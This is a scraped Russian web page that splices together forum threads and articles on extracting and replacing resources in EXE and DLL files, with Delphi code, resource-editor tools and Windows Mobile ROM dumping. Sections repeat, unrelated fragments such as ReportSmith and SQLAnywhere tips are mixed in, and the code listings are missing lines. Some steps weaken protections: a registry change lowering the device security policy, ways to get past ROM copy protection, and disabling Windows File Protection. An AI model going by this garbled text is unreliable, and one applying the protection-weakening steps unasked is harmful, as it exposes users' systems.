Выдёргивание и сохранение ресурсов в dll или exe


Содержание

Выдёргивание и сохранение ресурсов в dll или exe

Подскажите, плиз, как «вытащить» ресурс (например, иконку) из чужого EXE или DLL.

К тому же там где-то была демка по просмотру и сохранению ресурсов.

А в каком юните она лежит?


> А в каком юните она лежит?

Там в <путь к папке Borland>\Delphi6\Demos\ResXplor\ есть пример. Посмотри, помоему это то, что тебе нужно.

Вот необходимые функции:
LoadLibrary — для загрузки в память dll или exe

// Записать в файл
CreateFile
WriteFile
SetEndOfFile
CloseHandle
—-
Win32 Programmer»s Referense в помощь (поставляется в комплекте Делфи)

Рулез! Спасибо за ваш труд!

Вот ещё:
Перед LoadResource нужна FindResource
и в самом конце, для освобождения памяти: FreeLibrary

а как можно иконку изменить в ехе файле?

Это?
BOOL UpdateResource(
HANDLE hUpdate, // update-file handle
LPCTSTR lpType, // resource type
LPCTSTR lpName, // resource name
WORD wLanguage, // language identifier
LPVOID lpData, // resource data
DWORD cbData // length of resource data
);

наверное а с примером применения?

Выдёргивание и сохранение ресурсов в dll или exe

var V: OleVariant;

procedure TForm1.Button1Click(Sender: TObject);

ReportSmith

Передача переменных отчета в ReportSmith III

…вы говорите можно передавать переменные? В документации только красивые схемы. Я пытаюсь передать две даты, но мне необходимо чтобы первую дату ввел пользователь, вторую я вычисляю в Delphi сам и передаю результат ReportSmith.

Вот кусор работающего у меня кода, передающий использующийся при выборе Timestamp. Я использую строковую переменную просто как способ проверить строку прежде, чем я ее добавлю в отчет. Если вы хотите, можете это убрать. Примечание: убедитесь в том, что переменная, которой вы передаете значение, написана верно. Переменные отчета Reportsmith ЧУСТВИТЕЛЬНЫ К РЕГИСТРУ.

SQLAnywhere

Как правильно работать с SQLAnywhere через BDE→ODBC→SAW?

1. Необходимо поставить patch на ODBC-драйвер (доступен на www.sybase.com);

2. Достаточно флажка Keys in SQL Statistics в ODBC-администpатоpе, для того, чтобы исчезла необходимость ставить втоpичные индексы по ключевым полям;

3. Если Вы пользуетесь BDE 3.5, то обновите ее до версии 4.x, или замените idodbc.dll на тот, который идет в комплекте поставки BDE 3.0.

Разное

Ресурсы

Пример ресурсной таблицы строк

Как мне создать ресурсную таблицу строк (Resource String Table), про которую упоминается в функции FmtLoadStr, но не сказано как создать эту таблицу, про это вообще нигде не сказано!

Создайте файл в приведенном ниже формате и обзовите его, скажем (подойдите к этому творчески), strings.rc:

STRINGTABLE LOADONCALL MOVEABLE DISCARDABLE

Затем, с помощью компилятора ресурсов Borland (BRCC.EXE в вашем каталоге Delphi\Bin), скомпилируйте это в файл ресурсов:

Вы получите файл с именем strings.res. В вашем .DPR-файле после строки <$R *.RES>добавьте строку <$R STRINGS.RES>, после этого строковые ресурсы будут компилироваться с вашим exe-файлом.

Компиляция ресурсов

У меня имеется приблизительно 36 маленьких растровых изображений, которые я хочу сохранить в файле и затем прилинковать его к exe. Как мне поместить их в res-файл?

Самый простой путь – создать файл с именем «BITMAPS.RC» и поместить в него список ваших .BMP-файлов:

BMAP1 BITMAP BMAP1.BMP

BMAP2 BITMAP BMAP2.BMP

CLOCK BITMAP CLOCK.BMP

DBLCK BITMAP DBLCK.BMP

DELOK BITMAP DELOK.BMP

LUPE BITMAP LUPE.BMP

OK BITMAP OK.BMP

TIMEEDIT BITMAP TIMEEDIT.BMP

Затем загрузите Resource Workshop (RW) и выберите пункт меню File|Project Open. В выпадающем списке «File Type» (тип файла) выберите RC-Resource Script и откройте файл, который вы только что создали. После того, как RW загрузит ваш файл, выберите пункт меню File|Project save as. Выберите объект RES-Resource из выпадающего списка «File Type» (тип файла). В поле редактирования «New File name» задайте имя нового файла, скажем, BITMAPS.RES. Нажмите OK. Теперь у вас есть файл ресурса. В вашем модуле Delphi добавьте после строки <$R *.RES>строку <$R BITMAPS.RES>. После компиляции вы получите exe-файл с скомпилированными ресурсами. Для получения доступа к ресурсам во время выполнения программы нужно сделать следующее:

myImage.Picture.Bitmap.Handle := LoadBitmap(HInstance, ‘TIMEEDIT’);

В качестве предостережения: убедитесь в том, что имена (в самой левой колонке) изображений в .RC файле написаны в верхнем регистре, при вызове также необходимо писать их имена в верхнем регистре.

Ошибка дублирования идентификатора ресурса

У вас есть исходный код VCL? Если да, то в этом случае ее можно всю перекомпилировать, добавив каталог к вашему библиотечному пути (Library path) в опциях среды (Environment Options | Library). Я думаю это нужно сделать, чтобы отделаться от этой ошибки. При другом способе необходимо вычислить вызывающую проблему директиву $R, временно удалить ее, и осуществить перекомпиляцию. Временно выключить директиву $R можно добавлением ‘.’ перед $ (но это не единственный путь выключить ее).


Вероятно, вы сабкласситесь от VCL. Убедитесь в том, что идентификатор ресурса для вашей иконки уникальный. Просто загрузите ее в любой редактор ресурсов, и измените ее номер. После этого вы должны пересобрать вашу библиотеку.

Сохранение и выдёргивание ресурсов в DLL или EXE

Иногда возникает необходимость вшить ресурсы в исполняемый файл Вашего приложения (например чтобы предотвратить их случайное удаление пользователем, либо, чтобы защитить их от изменений). Данный пример показывает как вшить любой файл как ресурс в EXE-шнике. Совместимость: Delphi 3.x (или выше)

Далее рассмотрим, как создать файл ресурсов, содержащий корию какого-либо файла. После создания такого файла его можно легко прицепить к Вашему проекту директивой <$R>. Файл ресурсов, который мы будем создавать имеет следующий формат:

+ заголовок для нашего RCDATA ресурса

+ собственно данные — RCDATA ресурс

В данном примере будет показано, как сохранить в файле ресурсов только один файл, но думаю, что так же легко Вы сможете сохранить и несколько файлов.

Заголовок ресурса выглядит следующим образом:

DataSize: DWORD; // размер данных.

HeaderSize: DWORD; // размер этой записи

ResType: DWORD; // нижнее слово = $FFFF => ordinal

Поля, помеченные звёздочкой, Мы не будем использовать. Приведённый код создаёт файл ресурсов и копирует его в данный файл:

DataFile, ResFile: string; // имена файлов

ResID: Integer // id ресурсов

FS, RS: TFileStream;

FileHeader, ResHeader: TResHeader;

Padding: array[0..SizeOf(DWORD)-1] of Byte;

FS := TFileStream.Create( // для чтения данных из файла

RS := TFileStream.Create( // для записи файла ресурсов

FillChar(FileHeader, SizeOf(FileHeader), #0);

Внимание: для создания более одного ресурса необходимо повторить следующий процесс, используя каждый раз различные ID ресурсов >

FillChar(ResHeader, SizeOf(ResHeader), #0);

// id ресурса — FFFF означает «не строка!»

// тип ресурса — RT_RCDATA (from Windows unit)

ResHeader.ResType := $0000FFFF or (WORD(RT_RCDATA) shl 16);

// размер данных — есть размер файла

// Устанавливаем необходимые флаги памяти

if FS.Size mod SizeOf(DWORD) <> 0 then

RS.WriteBuffer(Padding, SizeOf(DWORD) — FS.Size mod SizeOf(DWORD));

Данный код не совсем красив, и отсутствует обработка ошибок. Правильнее будет создать класс, включающий в себя данный пример. Извлечение ресурсов из EXE теперь рассмотрим пример, показывающий, как извлекать ресурсы из исполняемого модуля. Вся процедура заключается в создании потока ресурса, создании файлового потока и копировании из потока ресурса в поток файла.

procedure ExtractToFile(Instance:THandle; ResID: Integer; ResType, FileName:String);

ResStream := TResourceStream.CreateFromID(Instance, ResID, pChar(ResType));

//if FileExists(FileName) then

FileStream := TFileStream.Create(FileName, fmCreate);

excepton E:Exception do

Всё, что требуется, это получить Instance exe-шника или dll (у Вашего приложения это Application.Instance или Application.Handle, для dll Вам прийдётся получить его самостоятельно :) ResID тот же самый ID , который был присвоен ресурсу ResType WAVEFILE, BITMAP, CURSOR, CUSTOM – это типы ресурсов, с которыми возможно работать, но у меня получилось успешно проделать процедуру только с CUSTOM FileName – это имя файла, который мы хотим создать из ресурса

Igor Nikolaev aKa The Sprite

>…я скопировал все файлы (и программу, и базу данных) демонстрационного приложения в новый каталог, чтобы поэкспериментировать с программой, не трогая оригинал…

Самый простой путь сделать это:

1. «Save Project As» (сохранить проект как) в ваш новый каталог.

2. Для каждого PAS-файла проекта сделайте операцию «Save As» (сохранить как)

3. Запустите View/ProjectManager для проверки отсутствия ссылок на старый каталог

Если вы уже скопировали PAS-файлы в новый каталог, то в качестве альтернативы к п.(2) могу предложить воспользоваться кнопками плюс/минус в Менеджере Проекта (Project Manager), это поможет вам удалить старое и добавить файлы из нового каталога.

Выдёргивание и сохранение ресурсов в dll или exe

Все вы знаете, что существует достаточно много программ, способных изменить до неузнаваемости интерфейс наших устройств, сделать его удобным и красивым. Какие-то программы уже закладываются некоторыми производителями в свои устройства — яркий пример — TouchFLO в устройствах HTC, какие-то программы являются универсальными для различных устройств — SPB Pocket Plus, WisBar Advance Desktop и другие. Но не секрет, что для работы всех этих программ задействовано большое количество ресурсов устройства, в основном оперативной памяти. Как же можно изменить положение вещей? Как сделать так, чтобы стандартный угрюмый и невзрачный интерфейс WM устройств заиграл новыми красками? Как придать нашим устройствам индивидуальность без использования тяжеловесных программ-украшалок? Ответ прост — изменить то, что нам предоставил в пользование разработчик операционной системы. Если вы обратили внимание (иначе и быть не может), все то (ну или почти все), что мы видим на экране — это картинки, различные цветовые гаммы и шрифты. Все это можно заменить по своему усмотрению без какого либо вреда для вашего устройства. Зато какое широкое поле для деятельности! Нет ничего лучше того, что сделано своими руками. Этим мы и займемся.
Начнем мы с небольшого ликбеза. Глубоко в подробности я вдаваться не буду, опишу лишь то, что нам может понадобиться в работе. Наверняка многим известно, что картинки представляют собой файлы вида *.bmp, *.png, *.tga, *.jpg, *.gif (существует еще очень много форматов, но в WM, в основном, используются именно эти). Есть картинки, которые лежат в системе в явном виде, то есть мы их можем увидеть без использования каких-либо спецпрограмм, но основное количество изображений спрятано от обычного пользователя. Зачем это делается? Да очень просто. Если вы что-то «поломали» в операционной системе настольного компьютера, вы можете просто ее переустановить. А с Windows Mobile это не выйдет — здесь вся операционная система «зашита» в так называемый ROM (Read Only Memory) — переводится как ПЗУ (Постоянное Запоминающее Устройство). Именно поэтому при Хард Ресете (жесткая перезагрузка, по-другому — форматирование) операционная система возвращается в первоначальный «девственный» вид. И вот поэтому системные картинки, о которых я упоминал, также намертво зашиты в ROM. Нашей задачей будет — достать их оттуда.

Сообщение отредактировал semga3 — 08.12.08, 23:22

Я думаю в этом месте сразу возникает вопрос — а если картинки «намертво» зашиты, то как же мы их заменим? На самом деле заменять мы их не будем. Просто мы «обманем» операционную систему, скопировав измененные файлы в те же папки, где находятся оригинальные файлы, и заставим систему думать, что измененные файлы — её «родные». Единственный минус (хотя, может, и наоборот), что вся эта идиллия проживет до первого ХР. После этого наши измененные файлы будут удалены и восстановятся исходные. Вот поэтому ничего страшного в замене системных картинок нет. Итак, естественно, для того, чтобы редактировать системные изображения, нам надо их иметь в наличии. Вот тут-то и подстерегает основная сложность. Основная часть системных картинок не только находится в ROM, но и еще внутри системных библиотек *.dll, а также внутри исполняемых файлов *.exe. Все это кажется очень сложным? На самом деле ничего сложного в этом нет. Мы будем использовать несколько программ, которые нам помогут справиться со всеми сложностями. Но начнем по порядку. Первое, что мы сделаем — достанем файл из ROM.

Сообщение отредактировал semga3 — 09.12.08, 14:43


Казалось бы – чего проще? Скопировать файл, и всего делов-то. Но оказывается не все так просто. Разработчик операционной системы решил не только попрятать от нас системные файлы, но и защитить всеми возможными способами даже от их копирования. Зачем он это сделал? Не будем забивать голову вопросами, на которые мы все равно не найдем ответа, лучше бросим все силы на решение поставленной задачи. Итак, каким же образом нам вытащить файл из защищенной области? Здесь необходимо небольшое отступление. Дело в том, что некоторые производители устройств, основываясь на операционной системе Windows Mobile, добавляют в ROM устройства что-то свое – некоторое изменение интерфейса, какие-то программы и т.п., после чего накладывают дополнительную защиту на ROM. Но разве это нас может остановить? Вот и я думаю, что нет. Народными умельцами давно созданы программы, которые могут обходить различные защиты. Ниже я приведу примеры программ, которые мы можем использовать в зависимости от степени защищенности нашего ROM. Для того, чтобы выяснить, насколько защищена ваша система, вам следует использовать эти программы по порядку, начиная с самого простого варианта. И, если предыдущий вариант не сработал, – переходить к более сложному. Сразу оговорюсь, что все нижеследующее описано для устройств QVGA с WM6 (как самая распространенная связка на сегодняшний день). В других устройствах возможны другие названия файлов, папок и т.п. Но принцип для всех один.

1. Самая простая защита ROM (защищена только Microsoft-ом). В этом случае вы сможете просто скопировать нужный файл, но используя не стандартный проводник WM (он этого не сможет сделать), а обладающий намного более широкими возможностями Resco File Explorer. Для начала вам в настройках проводника (Меню-Опции-Общие настройки-Проводник) нужно будет снять галки на пунктах «Скрывать системные файлы и файлы с расширением: .dll, .cpl, .drv, .htp», «Не показывать скрытые файлы», «Скрывать файлы, хранящиеся в ROM», «Скрывать папки», «Скрывать расширения файлов». Это нужно для того, чтобы проводник показал нам все файлы, хранящиеся на устройстве. После этого мы можем, выбрав нужный файл, скопировать (Копировать в …) его в укромное место.
2. Более сложная защита. Для обхода этой защиты существует программа ROM Extractor. Работать с этой программой несложно. В установке она не нуждается. После запуска нажимаете на кнопку справа под надписью «Enter path to module:».

Илон Маск рекомендует:  Что такое код ccvs_status

Появляется список файлов, находящихся в ROM.

Два раза тапаем на нужном файле и он появляется у нас в первом поле. Во втором поле нам нужно прописать полный путь, куда мы будем сохранять файл. Кроме того обязательно нужно указать имя сохраняемого файла. После этого нажимаем «Extract» и ищем извлеченный файл по тому адресу, который мы прописывали в программе.

3. Если по какой-то причине предыдущие варианты не сработали, или вы хотите идти именно по этому пути, можно воспользоваться программой
VJSDMMCDump.exe ( 146,5 КБ )

Сообщение отредактировал semga3 — 10.12.08, 12:03

В чем отличие этого способа от предыдущих. Дело в том, что, если первыми двумя программами вы могли копировать нужные вам файлы по одному, то программой VJSDMMCDump вы можете сделать дамп прошивки. Что это такое. Дамп прошивки, это, по сути, ВСЕ файлы вашей операционной системы, включая файлы ROM. То есть, сделав дамп, вы будете располагать всеми файлами вашего устройства, которыми сможете распоряжаться по своему усмотрению. Этот способ порой срабатывает более корректно, чем предыдущие два, потому что иногда при копировании файлов ROM программами Resco File Explorer или ROM Extractor, файлы или не копируются, или копируются другого размера, что не позволяет впоследствии вернуть их на место.
Итак, копируем программу в папку \Program Files, на карте памяти создаем папку dump. Запускаем программу. Интерфейс программы состоит всего из одной кнопки Button1. Её мы и нажимаем. В поле ниже побегут названия файлов. Через 10-15 минут в папке dump мы получим дамп нашей прошивки. И все бы было хорошо, если бы не одно НО. Программой предусмотрено, что наша карта памяти должна называться SDMMC, и никак иначе. Если она у вас так и называется, значит вам повезло, иначе придется временно поменять название карты. Но ничего страшного в этом нет. Нужно будет всего лишь изменить один параметр в реестре. Устанавливаем любую программу для правки реестра (каталог программ, пункт 1.64) в память устройства (не на карту памяти!). Заходим в раздел реестра, который называется HKEY_LOCAL_MACHINE (или сокращенно HKLM) \System\StorageManager\Profiles\SDMemory. Тапаем на Folder и в нижнем поле, вместо названия вашей карты памяти, пишете SDMMC (После снятия дампа прошивки нужно будет проделать обратную операцию). Внимание! После изменения названия карты памяти, все программы, установленные на карту будут неработоспособны до возвращения прежнего названия.
Очень важный момент! ОБЯЗАТЕЛЬНО сравнивайте размер извлеченного файла с тем, который находится в ROM! Если размеры файлов разнятся, ни в коем случае не заливайте этот файл обратно в ROM!

Сообщение отредактировал semga3 — 10.12.08, 14:21

И наконец самый тяжелый случай, когда все вышеперечисленные способы у нас не сработали — файл не копировался, не извлекался, или извлекался другого размера, отличавшемся от «родного». В этом случае нам придется использовать специальные утилиты для дампа прошивки на настольный компьютер. То, о чем я расскажу ниже, может, на первый взгляд показаться очень сложным и совершенно непонятным. Но это только на первый взгляд. Если вы вникните в процесс, разберетесь в нем и потом с успехом все это проделаете, то это может вам пригодиться не только для того, чтобы просто заменить картинки — это первый шаг к созданию своей собственной прошивки (но это уже совсем другая тема).

Сразу скажу, что при описании использовалось следующее: устройство – ASUS P535 с WM6, операционная система на настольном компьютере – Windows XP, которая установлена на диск D. При использовании других устройств и других операционных систем возможны значительные расхождения с описанием, что, впрочем, никоим образом не влияет на процесс снятия дампа прошивки. Те моменты, где возможны расхождения, я буду отмечать.
Начнем мы с предварительных приготовлений. Во первых, вам нужно будет скачать два прикрепленных архива. Создаем в корне диска, где у вас установлен Windows, папку (давайте назовем ее, например, Delaem damp). В этой папке создаем еще две папки с названиями itsutilsbin_20070705_130 и imgfs_tools. Распаковываем файлы из архивов в соответствующие папки (названия архивов такие же, как и названия папок). После этого синхронизируете КПК с ПК с помощью ActiveSinc. Дальнейшие действия мы будем производить в командной строке на настольном компьютере.
Вызываем командную строку. Для этого нажимаем кнопку ПУСК – Выполнить. В появившемся окошке набираем команду
cmd

Нажимаем Ок. Сразу после этого мы увидим следующее окно. В тексте этого окна возможны различные варианты. Пусть это вас не смущает. Так это окно выглядит у меня.

В этом окне мы набираем команду
cd D:\Delaem damp\itsutilsbin_20070705_130
(Команда cd здесь служит для перехода в конкретную папку. Если у вас Windows расположен на диске C, то вам нужно будет здесь, и в дальнейшем, вместо D:\ набирать C:\). Обращаю внимание, что нужно строго соблюдать написание – если в команде присутствует пробел, значит обязательно надо ставить пробел.

Нажимаем Enter. После этого вы увидите следующее окно.

Далее набираем
pdocread –l (l – это не единица, это маленькая буква L).

Нажимаем Enter. В окне пробегут строки с цифрами. В принципе они нам не особо интересны. Единственное, на что можно обратить внимание – это на то, что появилось вверху, сразу после введенной вами команды. Там указан размер вашей прошивки.

Если вы получаете ошибку вида:

Could not update itsutils.dll to the current version, maybe it is inuse?
try restarting your device, or restart activesync
or maybe your device is application-locked.

Ставим любой редактор реестра и меняем значение «00001001» в HKLM\Security\Policies\Policies с dword:2 на dword:1. (Пофиксил ошибку sethhell )


Выдёргивание и сохранение ресурсов в dll или exe

Сообщения: 1294
Благодарности: 359

извлечения ресурсов из .exe, .dll»

для этого есть программа Restorator, обсуждают здесь, http://forum.oszone.net/thread-167601.html, и еще куча программ, Reshacker, restuner и т.д

И как вобще работают Декомпили »

Последний раз редактировалось ferget, 15-03-2012 в 19:22 .

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.

Сообщения: 160
Благодарности:

для этого есть программа Restorator »

Я нею пробЫвал, она только иконки, манифэсты и еще что то извлекает, а то что, графика, звуки, то не замечает

декомпили для Паскаль, С++ декомпилируют в assembler,
»

Сообщения: 1294
Благодарности: 359

обратно в Паскаль, Си++ нельзя »

Сообщения: 160
Благодарности:

нет, нельзя »

Сообщения: 1294
Благодарности: 359

с Java в java можно же! »

и с C# в C# тоже можно

Паскаль, Си++ компилируются в машинный код, а из него восстановить текст программы нельзя
http://ru.wikipedia.org/wiki/%D0%9C%. BA%D0%BE%D0%B4

Сообщения: 160
Благодарности:

Паскаль, Си++ компилируются в машинный код, а из него восстановить текст программы нельзя »

Сообщения: 1396
Благодарности: 131

Конфигурация компьютера
Материнская плата: ASUSTek Computer INC P5G41T-M LE (2 PCI, 1 PCI-E x1, 1 PCI-E x16, 2 DDR3 DIMM, audio, video, LAN)
HDD: Samsung 250GB SATA
Звук: ASUSTek Computer INC P5G41T-M LE (Realtek ALC887)
CD/DVD: Optiarc DVD RW AS-72605 ATA Device
Ноутбук/нетбук: none
Индекс производительности Windows: none
Паскаль, Си++ компилируются в машинный код, а из него восстановить текст программы нельзя

Будем жить, Маэстро.

Сообщения: 6695
Благодарности: 1392

Конфигурация компьютера
Материнская плата: ABIT IS7-E2 i865PE+ICH5, S-478 VC 6ch SB Lan ATX 2 DDR 400
HDD: SAMSUNG HD103SJ (1000 Гб, SATA)
Звук: Интегрированный звук
CD/DVD: LG DVD-RW, GSA-H30N RBBB (SATA)
ОС: Windows XP Professional (SP-3) Russian. Special Edition XP
Я нею пробЫвал, она только иконки, манифэсты и еще что то извлекает, а то что, графика, звуки, то не замечает »
или все же если прога написана на Делфи то можно декомпилить в Си++. »

Можно, на выходе получите форму с кнопочками и именами оригинальных функций, правда содержимое самих функций не будет показано, вместо них будут адреса памяти в которые грузятся эти функции. Если используя ваш сленг «чиста пасматреть«, вам вполне такой декомпилятор сгодится, называется он EMS Source Rescuer.

В целом же ваш уровень далёк от программирования, максимум что вам нужно, это ResHacker, PE Explorer, Restorator озвученый выше.

Redwood – инструмент для просмотра и извлечения ресурсов из файлов

Redwood – маленькая программа для просмотра и извлечения ресурсов из различных файлов. Если вам нужно иконка из какого либо приложения, при помощи данной программы вы можете просмотреть все файлы exe, dll и другие, и извлечь все, что вам нужно. В файлах можно найти много чего интересного – текст, иконки, картинки, курсоры и прочую информацию.

Извлекаем из файлов иконки, картинки, курсоры и прочее

После запуска программы Redwoo, необходимо указать файл, после открытия его, слева будет отображаться древовидное меню, с сортировкой элементов по типу.

К примеру, чтобы найти курсор, перед тем как извлечь данные из файла, вы можете предварительно просмотреть все содержимое и после сохранить выбранный элемент в выбранную папку.

Программа не требует установки, имеет маленький размер и проста в освоении. Теперь чтобы достать интересную иконку или курсор, воспользуйтесь программой Redwood.

Создание библиотек DLL, содержащих только ресурсы Creating a Resource-Only DLL

Библиотеки DLL ресурсов представляет собой библиотеку DLL, в которой содержатся только ресурсы, такие как значки, растровые изображения, строки и диалоговые окна. A resource-only DLL is a DLL that contains nothing but resources, such as icons, bitmaps, strings, and dialog boxes. Использование библиотеки DLL ресурсов — хороший способ совместно использовать тот же набор ресурсов несколькими программами. Using a resource-only DLL is a good way to share the same set of resources among multiple programs. Также рекомендуется использовать приложение с ресурсы, локализованные для нескольких языков (см. в разделе локализованные ресурсы в приложениях MFC: Вспомогательные библиотеки DLL). It is also a good way to provide an application with resources localized for multiple languages (see Localized Resources in MFC Applications: Satellite DLLs).

Чтобы создать Библиотеку ресурсов, создайте новый проект библиотеки DLL Win32 (не MFC) и добавьте ресурсы в проект. To create a resource-only DLL, you create a new Win32 DLL (non-MFC) project and add your resources to the project.

Выберите проект Win32 в новый проект диалоговое окно и укажите тип проекта библиотеки DLL в мастере проектов Win32. Select Win32 Project in the New Project dialog box and specify a DLL project type in the Win32 Project Wizard.

Создайте новый скрипт ресурсов, содержащий ресурсы (например, строка или меню) для библиотеки DLL и сохраните RC-файл. Create a new resource script that contains the resources (such as a string or a menu) for the DLL and save the .rc file.

На проекта меню, щелкните добавить существующий элементи вставьте в проект новый RC-файл. On the Project menu, click Add Existing Item, and then insert the new .rc file into the project.

Укажите /NOENTRY параметр компоновщика. Specify the /NOENTRY linker option. / NOENTRY запрещает компоновщику добавлял ссылку на _main в библиотеку DLL; это необходимо для создания библиотеки DLL только ресурсы. /NOENTRY prevents the linker from linking a reference to _main into the DLL; this option is required to create a resource-only DLL.

Построение библиотеки DLL. Build the DLL.

Приложение, которое использует библиотеку DLL ресурсов следует вызывать LoadLibrary явной ссылкой на библиотеку DLL. The application that uses the resource-only DLL should call LoadLibrary to explicitly link to the DLL. Доступ к ресурсам, вызовите универсальные функции FindResource и LoadResource , которой работают для любых ресурсов, или вызовите один из следующих функций конкретного ресурса: To access the resources, call the generic functions FindResource and LoadResource , which work on any kind of resource, or call one of the following resource-specific functions:

Выдёргивание и сохранение ресурсов в dll или exe

Подскажите, плиз, как «вытащить» ресурс (например, иконку) из чужого EXE или DLL.


К тому же там где-то была демка по просмотру и сохранению ресурсов.

А в каком юните она лежит?


> А в каком юните она лежит?

Там в <путь к папке Borland>\Delphi6\Demos\ResXplor\ есть пример. Посмотри, помоему это то, что тебе нужно.

Вот необходимые функции:
LoadLibrary — для загрузки в память dll или exe

// Записать в файл
CreateFile
WriteFile
SetEndOfFile
CloseHandle
—-
Win32 Programmer»s Referense в помощь (поставляется в комплекте Делфи)

Рулез! Спасибо за ваш труд!

Вот ещё:
Перед LoadResource нужна FindResource
и в самом конце, для освобождения памяти: FreeLibrary

а как можно иконку изменить в ехе файле?

Это?
BOOL UpdateResource(
HANDLE hUpdate, // update-file handle
LPCTSTR lpType, // resource type
LPCTSTR lpName, // resource name
WORD wLanguage, // language identifier
LPVOID lpData, // resource data
DWORD cbData // length of resource data
);

наверное а с примером применения?

Выдёргивание и сохранение ресурсов в dll или exe

PE Explorer 1.97

Универсальный обработчик файлов -инструмент для работы с PE файлами (EXE, DLL, DRV, BPL, DPL, SYS, CPL, OCX, SCR и др.), который включает в себя редактор ресурсов, XP manifest wizard, броузер импорта/экспорта, дизассемблер, dependency scanner, редактор секций и т.д. Возможно подключение плагинов для предварительной обработки открываемых файлов. Встроенный распаковщик позволяет увидеть и редактировать на много больше ресурсов, чем ResHacker и Restorator, а Borland Delphi disassembler поможет перепроектировать dll, ocx или exe. PE Explorer также и позволяет декомпилировать файлы, созданные другими компиляторами.

[ Ссылки могут видеть только зарегистрированные пользователи. ]

Rioter 15.04.2007 00:20

Пожалуй, после небольшого перерыва можно продолжить тему.

Нужно из одного EXEшника вытащить музыкальный файл.
Пробовал PE Explorer, ResHacker и Restorator ничего не получилось.

Помогите кто может – [ Ссылки могут видеть только зарегистрированные пользователи. ]

uap 15.04.2007 10:54

45makarov 15.04.2007 15:49

blazer-76 01.06.2007 20:12

admandr 27.11.2007 20:12

Попробуй эту
Restorator 2007 3.70.1729

Есть [ Ссылки могут видеть только зарегистрированные пользователи. ]

bndrlg 13.12.2007 00:14
Часовой пояс GMT +3, время: 18:40 .
Страница 1 из 6 1 2 3 > Последняя »

Работает на vBulletin® версия 3.7.2.
Copyright ©2000 — 2020, Jelsoft Enterprises Ltd.
Перевод: zCarot

Выдёргивание и сохранение ресурсов в dll или exe

Внимание: Если у Вас возникли проблемы, после того как Вы сохранили отредактированный файл в Resource Hacker, убедитесь что Вы отключили службу WFP (Защита файлов Windows), используя WFP Patcher (Скачать WFP Patcher).

Resource Hacker — инструмент для редактирования системных файлов Windows, таких как файлы с расширениями .exe.dll.cpl, и т.д. Вы можете редактировать эти файлы и можете изменять вид различных диалоговых окон, меню и многих других компонентов Windows.

Эта вводная статья состоит из двух частей:

Часть 1: ОБЩАЯ ИНФОРМАЦИЯ
Часть 2: ДОПОЛНИТЕЛЬНАЯ ИНФОРМАЦИЯ

В первой части приводится информация о том, как открывать/заменять ресурсы и т.д.
В дополнительной части содержится информация о дополнительных возможностях программы, которая ориентирована больше на продвинутых пользователей. В ней рассказывается о добавлении Ваших собственных ресурсов, использование скриптов в Resource Hacker и т.д.

Часть 1: ОБЩАЯ ИНФОРМАЦИЯ

Скачать Resource Hacker

Программа не требует установки. Из скаченного архива нужно извлечь файлы в отдельную папку (желательно в C:\Program Files\Resource Hacker ) после этого запустить. Программа также не нуждается в Регистрации!

Когда Вы открываете какой-либо файл в Resource Hacker для редактирования, слева появятся различные каталоги, такие как:

AVI (AVI)
Курсор (Cursor)
Точечный рисунок (Bitmap)
Значок ( Icon)
Меню (Menu)
Диалог (Dialog)
Строки таблицы (String Table)
Акселераторы (Accelerators)
Информация о версии (Version Info)
и так далее.

Наличие этих каталогов для разных файлов может отличаться!

Далее рассмотрим краткое описание этих каталогов:

AVI (AVI): каталог содержит файлы AVI.76
Курсор (Cursor): каталог содержит файлы курсоров.
Точечный рисунок (Bitmap): каталог содержит точечные рисунки.
Значок ( Icon): каталог содержит значки.
Меню (Menu): каталог содержит различные меню.
Диалог (Dialog) : каталог содержит различные диалоговые окна.
Строки таблицы (String Table): каталог содержит различные строки.
Акселераторы (Accelerators): каталог содержит информацию о сочетании клавиш.
Информация о версии (Version Info): каталог содержит информацию о версии файла.

Вы можете просмотреть любой ресурс, содержащийся в файле. Просто разверните структуру каталога и нажмите на название ресурса.
Приблизительно каждый ресурс состоит из 3 частей:

Тип ресурса (Resource Type) — здесь показан тип ресурса — AVI/Bitmap/Menu/Cursor/Icon/String/ и т.д.
Название ресурса (Resource Name) — данный раздел содержит информацию о названии ресурса.
Язык ресурса (Resource Language) — язык, используемый в файле. Для АНГЛИЙСКОГО ЯЗЫКА – предназначен номер 1033, для РУССКОГО — 1049. Полный Список значений для разных языков вы найдете здесь.

=> Для значка/курсора/точечного рисунка:

1) Выберите ресурс (например, Точечный рисунок (Bitmap-> 131-> 1033).
2) Выберите Action -> Replace Icon/Cursor/Bitmap. (Действие-> Замена значка/курсора/ точечного рисунка. )

3) Откроется новое окно, щелкните по кнопке Open file with new resource … (выберите то что Вам нужно Icon/Cursor/Bitmap).
4) В диалоговом окне OPEN выберите нужный ресурс и нажмите сначала на кнопку Open, а затем на кнопку Replace.


=> Для других ресурсов, например таких как AVI:

Процедура изменения ресурсов немного отличается.

1) Нажмите на Action -> Replace Other Resource. (Действие-> Заменить другой ресурс. )
2) Откроется новое окно, нажмите кнопку Open file with new resource
3) Выберите файл и нажмите на кнопку Open.
4) Надеюсь, теперь Вам стало немного понятнее о тех ресурсах, которые были упомянуты ранее.

А теперь рассмотрим значение следующих категорий

Тип ресурса (Resource Type)
Название ресурса (Resource Name)
Язык ресурса (Resource Language)

В поле Тип ресурса (Resource Type) указывается тип ресурса, например если Вы хотите заменить файл AVI на какой-либо другой, то Вы должны будете использовать только файл формата AVI.

Поле Название ресурса (Resource Name) дает точное представление о названии существующего ресурса, который Вы хотите заменить на новый.

В поле Язык ресурса (Resource Language) указывается номер языка ресурса (для русского – 1049, для английского 1033).

5) И наконец нажмите на кнопку Replace.

Часть 2: ДОПОЛНИТЕЛЬНАЯ ИНФОРМАЦИЯ

1. Добавление Ваших собственных ресурсов

а) Добавление новых Bitmaps/Icons/Cursors/AVIs
(точечных рисунков/значков/курсоров/AVI)

Вы можете также добавить Ваши собственные пункты меню, а также дополнительное меню (например, Ваше имя) в Контекстном меню рабочего стола и т.д.

1) Итак, предположим, что Вы захотели добавить свой собственный пункт в меню, например, Menu -> 215 -> 1049 и добавляем линию, где-нибудь внутри POPUP «» (всплывающего сообщения) или что-нибудь другое как например показано в следующем примере:

«ur_desired_string» — текст, который будет отображаться на экране.
12345 — идентификатор, который должен отличаться от других menuitems.
MFT_STRING — описывает какой текст будет содрежаться в Menuitem.
MFS_GRAYED — отключает наш menuitem. Вы можете также изменить его на MFS_ENABLED, чтобы включить его.
MFS_HILITE — автоматически выбирает наше menuitem. Можете ничего не менять.
